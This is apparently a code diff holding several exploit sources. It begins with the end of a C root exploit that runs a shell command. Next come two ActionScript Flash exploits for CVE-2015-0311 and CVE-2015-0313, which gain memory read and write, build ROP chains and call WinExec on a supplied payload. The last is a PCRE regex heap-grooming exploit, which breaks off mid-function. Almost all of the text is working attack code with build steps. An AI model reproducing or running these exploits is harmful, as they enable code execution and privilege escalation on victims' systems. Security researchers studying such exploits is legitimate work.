addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
listen(sockfd, 1);
|
||||
|
||||
while(1) {
|
||||
ret = accept(sockfd, NULL, NULL);
|
||||
if (ret < 0) {
|
||||
printf("**** SOCK_PROC failed ****\n");
|
||||
while(1) {
|
||||
sleep(10);
|
||||
}
|
||||
} else {
|
||||
printf("i have a client like hookers.\n");
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void init_exploit() {
|
||||
unsigned long addr;
|
||||
pthread_t th1, th2, th3;
|
||||
|
||||
printf("running with pid %d\n", getpid());
|
||||
|
||||
pthread_create(&th1, NULL, accept_socket, NULL);
|
||||
|
||||
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
addr += 0x800;
|
||||
MAGIC = addr;
|
||||
if ((long)addr >= 0) {
|
||||
printf("first mmap failed?\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
addr += 0x800;
|
||||
MAGIC_ALT = addr;
|
||||
if (addr > 0x110000) {
|
||||
printf("second mmap failed?\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&done_lock);
|
||||
pthread_create(&th2, NULL, search_goodnum, NULL);
|
||||
pthread_create(&th3, NULL, send_magicmsg, NULL);
|
||||
pthread_cond_wait(&done, &done_lock);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
g_argc = argc;
|
||||
|
||||
if (argc >= 2) {
|
||||
strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
|
||||
int i;
|
||||
for (i=1;i<argc;i++) {
|
||||
strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
|
||||
strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
|
||||
}
|
||||
strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
|
||||
}
|
||||
|
||||
init_exploit();
|
||||
|
||||
printf("Finished, looping.\n");
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -0,0 +1,243 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.display.LoaderInfo;
|
||||
import flash.system.ApplicationDomain;
|
||||
import flash.utils.ByteArray;
|
||||
import avm2.intrinsics.memory.casi32;
|
||||
import flash.external.ExternalInterface;
|
||||
import mx.utils.Base64Decoder;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var data:uint = 0xdeaddead
|
||||
private var uv:Vector.<Object> = new Vector.<Object>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(51200)
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = "";
|
||||
|
||||
/*public static function log(msg:String):void{
|
||||
var str:String = "";
|
||||
str += msg;
|
||||
|
||||
trace(str);
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}*/
|
||||
|
||||
public function Main()
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
||||
ba.compress()
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
ba.position = 0x200
|
||||
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
|
||||
try {
|
||||
ba.uncompress()
|
||||
} catch (e:Error) { }
|
||||
uv[0] = new Vector.<uint>(0x3E0)
|
||||
casi32(0, 0x3e0, 0xffffffff)
|
||||
|
||||
for (i = 0; i < spray.length; i++) {
|
||||
spray[i] = new Vector.<Object>(1014)
|
||||
spray[i][0] = ba
|
||||
spray[i][1] = this
|
||||
}
|
||||
|
||||
/*
|
||||
0:008> dd 5ca4000
|
||||
05ca4000 ffffffff 05042000 05ca4000 00000000
|
||||
05ca4010 00000000 00000000 00000000 00000000
|
||||
05ca4020 00000000 00000000 00000000 00000000
|
||||
05ca4030 00000000 00000000 00000000 00000000
|
||||
05ca4040 00000000 00000000 00000000 00000000
|
||||
05ca4050 00000000 00000000 00000000 00000000
|
||||
05ca4060 00000000 00000000 00000000 00000000
|
||||
05ca4070 00000000 00000000 00000000 00000000
|
||||
*/
|
||||
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
|
||||
//log("uv[0][0]: " + uv[0][0].toString(16));
|
||||
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
|
||||
//log("buffer: " + buffer.toString(16));
|
||||
|
||||
var main:uint = uv[0][0x2000009] - 1
|
||||
//log("main: " + main.toString(16));
|
||||
|
||||
var vtable:uint = vector_read(main)
|
||||
//log("vtable: " + vtable.toString(16));
|
||||
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
|
||||
byte_write(uv[0][0])
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
//log("flash: " + flash.toString(16));
|
||||
|
||||
// Because of the sandbox, when you try to solve kernel32
|
||||
// from the flash imports on IE, it will solve ieshims.dll
|
||||
var ieshims:uint = module("kernel32.dll", flash)
|
||||
//log("ieshims: " + ieshims.toString(16));
|
||||
|
||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||
//log("kernel32: " + kernel32.toString(16));
|
||||
|
||||
var ntdll:uint = module("ntdll.dll", kernel32)
|
||||
//log("ntdll: " + ntdll.toString(16));
|
||||
|
||||
var urlmon:uint = module("urlmon.dll", flash)
|
||||
//log("urlmon: " + urlmon.toString(16));
|
||||
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
//log("virtualprotect: " + virtualprotect.toString(16));
|
||||
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
//log("winexec: " + winexec.toString(16));
|
||||
|
||||
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
|
||||
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
|
||||
|
||||
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
|
||||
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
|
||||
|
||||
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
|
||||
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
|
||||
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
|
||||
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
|
||||
|
||||
// CoE
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
|
||||
byte_write(buffer+0x200, payload);
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x100)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x200)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
toString()
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,207 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.LoaderInfo
|
||||
import flash.events.Event
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.Worker
|
||||
import flash.system.WorkerDomain
|
||||
import flash.system.MessageChannel
|
||||
import flash.system.ApplicationDomain
|
||||
import avm2.intrinsics.memory.casi32
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(25600)
|
||||
private var uv:Vector.<uint> = new Vector.<uint>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var worker:Worker
|
||||
private var mc:MessageChannel
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:String = ""
|
||||
|
||||
public function Main()
|
||||
{
|
||||
if (Worker.current.isPrimordial) mainThread()
|
||||
else workerThread()
|
||||
}
|
||||
|
||||
private function mainThread():void
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
ba.length = 0x1000
|
||||
ba.shareable = true
|
||||
for (var i:uint = 0; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<Object>(1014)
|
||||
ov[i][0] = ba
|
||||
ov[i][1] = this
|
||||
}
|
||||
for (i = 0; i < ov.length; i += 2) delete(ov[i])
|
||||
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
||||
mc = worker.createMessageChannel(Worker.current)
|
||||
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
||||
worker.setSharedProperty("mc", mc)
|
||||
worker.setSharedProperty("ba", ba)
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
worker.start()
|
||||
}
|
||||
|
||||
private function workerThread():void
|
||||
{
|
||||
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
||||
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
||||
ba.clear()
|
||||
ov[0] = new Vector.<uint>(1022)
|
||||
mc.send("")
|
||||
while (mc.messageAvailable);
|
||||
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
|
||||
ba.length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
|
||||
var main:uint = ov[0][0x409] - 1
|
||||
var vtable:uint = vector_read(main)
|
||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
|
||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
|
||||
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
|
||||
}
|
||||
|
||||
private function onMessage(e:Event):void
|
||||
{
|
||||
casi32(0, 1022, 0xFFFFFFFF)
|
||||
if (ba.length != 0xffffffff) mc.receive()
|
||||
else {
|
||||
ba.endian = "littleEndian"
|
||||
var data:Array = (mc.receive() as String).split("/")
|
||||
byte_write(parseInt(data[0]))
|
||||
var buffer:uint = parseInt(data[1]) as uint
|
||||
var main:uint = parseInt(data[2]) as uint
|
||||
var vtable:uint = parseInt(data[3]) as uint
|
||||
var flash:uint = base(vtable)
|
||||
var ieshims:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
//CoE
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
byte_write(buffer+0x200, payload);
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x100)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x200)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
toString()
|
||||
}
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,704 @@
|
|||
package
|
||||
{
|
||||
/*
|
||||
To compile (AIRSDK + Flex):
|
||||
mxmlc Main.as -o Main.swf -strict=false
|
||||
*/
|
||||
|
||||
import mx.utils.Base64Decoder;
|
||||
import flash.display.*;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.external.ExternalInterface;
|
||||
import mx.utils.Base64Decoder;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var i:int;
|
||||
private var j:int;
|
||||
|
||||
private const OP_END:int = 0;
|
||||
private const OP_ANY:int = 12;
|
||||
private const OP_KET:int = 84;
|
||||
private const OP_CBRA:int = 94;
|
||||
private const OP_FAIL:int = 108;
|
||||
private const OP_ACCEPT:int = 109;
|
||||
|
||||
private var testSubject:String = 'c01db33f';
|
||||
private var subject:String = '';
|
||||
|
||||
private var count_576:int = 128;
|
||||
private var pre_576:int = 4;
|
||||
private var groom_576:Array = new Array(count_576);
|
||||
|
||||
private var count_re:int = 8;
|
||||
private var source_re:Vector.<String> = new Vector.<String>(count_re);
|
||||
private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
|
||||
private var subjects:Vector.<String> = new Vector.<String>(count_re);
|
||||
|
||||
private var count_504:int = 256 * 3;
|
||||
private var pre_504:int = 30;
|
||||
private var groom_504:Array = new Array(count_504);
|
||||
|
||||
private var junk:Array = new Array();
|
||||
private var junk_idx:int = 0;
|
||||
|
||||
public static function Debug(message:String):void {
|
||||
ExternalInterface.call('console.log', message);
|
||||
}
|
||||
|
||||
public function MakeRegex(c:String):String {
|
||||
var i:int;
|
||||
var r:String = '(c01db33f|^(' + c + '*)'
|
||||
for (i = 0; i < 39; ++i) {
|
||||
r += '(A)';
|
||||
}
|
||||
r += '\\'
|
||||
r += '41';
|
||||
for (i = 0; i < 20; ++i) {
|
||||
r += 'A';
|
||||
}
|
||||
r += '('
|
||||
r += '\\'
|
||||
r += 'c'
|
||||
r += '\uc080'
|
||||
r += '*)?(?70))';
|
||||
return r;
|
||||
}
|
||||
|
||||
public function MakeSubject(c:String):String {
|
||||
var i:int;
|
||||
var s:String = c;
|
||||
for (i = 0; i < 0x80 - 0x3d; ++i) {
|
||||
s += c;
|
||||
}
|
||||
for (i = 0; i < 60; ++i) {
|
||||
s += 'A';
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
public function MakeByteArray(size:int):ByteArray {
|
||||
var i:int = 0;
|
||||
var b:ByteArray = new ByteArray();
|
||||
b.length = size;
|
||||
for (i = 0; i < size; ++i) {
|
||||
b.writeByte(0x23);
|
||||
}
|
||||
return b;
|
||||
}
|
||||
|
||||
public function Initialise():void {
|
||||
for (i = 0; i < 8; ++i) {
|
||||
subjects[i] = MakeSubject(i.toString());
|
||||
source_re[i] = MakeRegex(i.toString());
|
||||
}
|
||||
}
|
||||
|
||||
public function CompileRegex():RegExp {
|
||||
|
||||
// heap groom the block of regex bytecode we want to follow our
|
||||
// legitimate bytecode.
|
||||
|
||||
for (i = 0; i < count_576; ++i) {
|
||||
var b:ByteArray = new ByteArray();
|
||||
b.length = 576;
|
||||
|
||||
// regex nop sled :-p
|
||||
for (j = 0; j < 500; ++j) {
|
||||
b.writeByte(OP_ANY);
|
||||
}
|
||||
|
||||
// this is the capturing bracket that find_bracket will be
|
||||
// looking for to match (?70)
|
||||
b.writeByte(OP_CBRA);
|
||||
b.writeByte(1); // WORD length of group (only != 0)
|
||||
b.writeByte(0);
|
||||
b.writeByte(0); // WORD number of group (must == 70)
|
||||
b.writeByte(70);
|
||||
|
||||
// we use OP_CBRA to write the current match length at one
|
||||
// dword past the end of our offset_vector.
|
||||
//
|
||||
// this is due to another bug in pcre_exec where it is
|
||||
// assumed that the group number is
|
||||
// 0 < number < md->offset_max
|
||||
// and it is only checked that group < md->offset_max, and
|
||||
// then indexing is done backwards frm the end of the buffer,
|
||||
// so a group number of 0 lets us index one dword past the end
|
||||
// of the offset_vector.
|
||||
|
||||
b.writeByte(OP_CBRA);
|
||||
b.writeByte(0); // WORD length of group
|
||||
b.writeByte(0);
|
||||
b.writeByte(0); // WORD number of group
|
||||
b.writeByte(0);
|
||||
|
||||
// we're done with executing this regex for now.
|
||||
b.writeByte(OP_ACCEPT); // yay a match :-)
|
||||
|
||||
b.writeByte(OP_KET); // closing KET for group (?70)
|
||||
b.writeByte(OP_KET); // closing KET for exploit group
|
||||
|
||||
b.writeByte(OP_END);
|
||||
|
||||
b.writeByte(0);
|
||||
|
||||
groom_576[i] = b;
|
||||
}
|
||||
|
||||
// make some gaps
|
||||
for (i = 0; i < count_576; i += 2) {
|
||||
groom_576[i].length = 0;
|
||||
groom_576[i] = null;
|
||||
}
|
||||
|
||||
for (i = 0; i < (pre_576 * 2); i += 2) {
|
||||
groom_576[i] = MakeByteArray(576);
|
||||
}
|
||||
|
||||
for (i = 0; i < count_re; ++i) {
|
||||
try {
|
||||
Debug('[*] compiling regex');
|
||||
var re:RegExp = new RegExp(source_re[i]);
|
||||
compiled_re[i] = re;
|
||||
var match:Object = re.exec(testSubject);
|
||||
if (match != null && match[0] == 'c01db33f') {
|
||||
Debug('[*] compiled successfully');
|
||||
subject = subjects[i];
|
||||
return re;
|
||||
}
|
||||
else {
|
||||
// that allocation was no good, fill with a bytearray
|
||||
junk[junk_idx++] = MakeByteArray(576);
|
||||
}
|
||||
} catch (error:Error) {
|
||||
Debug('[*] error compiling regex: ' + error.message);
|
||||
}
|
||||
|
||||
Debug('[*] failed...');
|
||||
}
|
||||
|
||||
Debug('[*] failed first groom');
|
||||
return null;
|
||||
}
|
||||
|
||||
public function negative(i:uint):uint {
|
||||
return (~i) + 1;
|
||||
}
|
||||
|
||||
public function CorruptVector(r:RegExp):Vector.<uint> {
|
||||
|
||||
var v:Vector.<uint> = null;
|
||||
var uv:Vector.<uint> = null;
|
||||
var ov:Vector.<Object> = null;
|
||||
|
||||
for (i = 0; i < count_504; ++i) {
|
||||
v = new Vector.<uint>(124);
|
||||
v[0] = 0xc01db33f
|
||||
v[1] = i;
|
||||
for (j = 2; j < 124; ++j) {
|
||||
v[j] = 0x88888888;
|
||||
}
|
||||
groom_504[i] = v;
|
||||
}
|
||||
|
||||
for (i = 0; i < count_504; i += 3) {
|
||||
groom_504[i].length = 0;
|
||||
groom_504[i] = null;
|
||||
}
|
||||
|
||||
for (i = 0; i < pre_504; i += 1) {
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
}
|
||||
|
||||
v = null;
|
||||
for (i = 0; i < 128; i += 3) {
|
||||
try {
|
||||
Debug('[*] executing regex');
|
||||
r.exec(subject);
|
||||
} catch (error:Error) {
|
||||
Debug('[*] regex execution failed: ' + error.message);
|
||||
}
|
||||
|
||||
for (j = 1; j < count_504; j += 3) {
|
||||
if (groom_504[j].length != 124) {
|
||||
Debug('[*] corrupted vector');
|
||||
v = groom_504[j];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (v != null) {
|
||||
break;
|
||||
}
|
||||
|
||||
Debug('[*] failed...');
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
}
|
||||
|
||||
// at this point we have a vector with a corrupt length, hopefully
|
||||
// followed by another vector of legitimate length.
|
||||
|
||||
if (v == null) {
|
||||
Debug('[*] failed to groom for vector corruption');
|
||||
return null;
|
||||
}
|
||||
|
||||
if (v[126] != 0xc01db33f) {
|
||||
Debug('[*] magic check failed!');
|
||||
}
|
||||
|
||||
// read out the index of the following vector; this is the vector
|
||||
// that we will use for the rest of the exploit
|
||||
|
||||
i = v[127];
|
||||
uv = groom_504[i];
|
||||
uv.fixed = true;
|
||||
|
||||
// corrupt the length of uv so that we can access all of memory :)
|
||||
|
||||
v[124] = 0xffffffff;
|
||||
|
||||
// first fix the length of the original corrupted array so we don't
|
||||
// need to worry about it any more...
|
||||
|
||||
uv[negative(0x80)] = 0x6e;
|
||||
|
||||
// now read back 0x1f8 bytes before the first vector; this must be
|
||||
// inside the original offset_vector that we overflowed, (so it is
|
||||
// guaranteed to be safe) and this buffer is directly free'd at the
|
||||
// end of pcre_exec. as it's quite a large allocation, we can be
|
||||
// quite sure that it is still on the freelist and we can steal the
|
||||
// freelist pointer from it, which will likely point to the block
|
||||
// after our second vector.
|
||||
|
||||
uv[0] = uv[negative(0xfe)];
|
||||
|
||||
// we really can't do much sanity checking here; all we know is
|
||||
// that this should be a pointer, and it will be 8 byte aligned.
|
||||
|
||||
if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
|
||||
Debug('[*] freelist ptr sanity check failed!');
|
||||
uv[negative(2)] = 0x6e;
|
||||
return null;
|
||||
}
|
||||
|
||||
// uv[0] == address of our vector.<uint>'s buffer
|
||||
|
||||
uv[0] -= 0x1f0;
|
||||
|
||||
return uv;
|
||||
}
|
||||
|
||||
public function FindGCHeap(m:Memory):uint {
|
||||
|
||||
// nothing much to say about this; we know that there's a
|
||||
